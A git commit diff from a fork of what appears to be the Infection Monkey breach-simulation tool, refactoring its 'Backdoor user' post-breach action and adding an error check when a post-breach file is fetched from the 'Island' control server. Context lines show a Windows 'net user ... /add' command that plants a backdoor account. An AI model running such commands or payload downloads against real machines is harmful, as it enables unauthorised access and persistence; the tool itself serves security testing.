forked from p15670423/monkey
Minor changes after CR
This commit is contained in:
parent
bff95fa470
commit
4a8bd01a62
|
@ -13,13 +13,13 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
|
||||||
WormConfiguration.remote_user_pass,
|
WormConfiguration.remote_user_pass,
|
||||||
'/add', '/ACTIVE:NO']
|
'/add', '/ACTIVE:NO']
|
||||||
|
|
||||||
PBA_NAME = "Backdoor user"
|
|
||||||
|
|
||||||
|
|
||||||
class BackdoorUser(object):
|
class BackdoorUser(object):
|
||||||
|
PBA_NAME = "Backdoor user"
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_pba():
|
def get_pba():
|
||||||
return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
|
return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
|
||||||
|
|
|
@ -45,12 +45,15 @@ class UsersPBA(PBA):
|
||||||
(WormConfiguration.current_server, filename),
|
(WormConfiguration.current_server, filename),
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
|
if not pba_file_contents.content:
|
||||||
|
LOG.error("Island didn't respond with post breach file.")
|
||||||
|
return False
|
||||||
try:
|
try:
|
||||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||||
written_PBA_file.write(pba_file_contents.content)
|
written_PBA_file.write(pba_file_contents.content)
|
||||||
return True
|
return True
|
||||||
except IOError as e:
|
except IOError as e:
|
||||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
LOG.error("Can not upload post breach file to target machine: %s" % e)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
Loading…
Reference in New Issue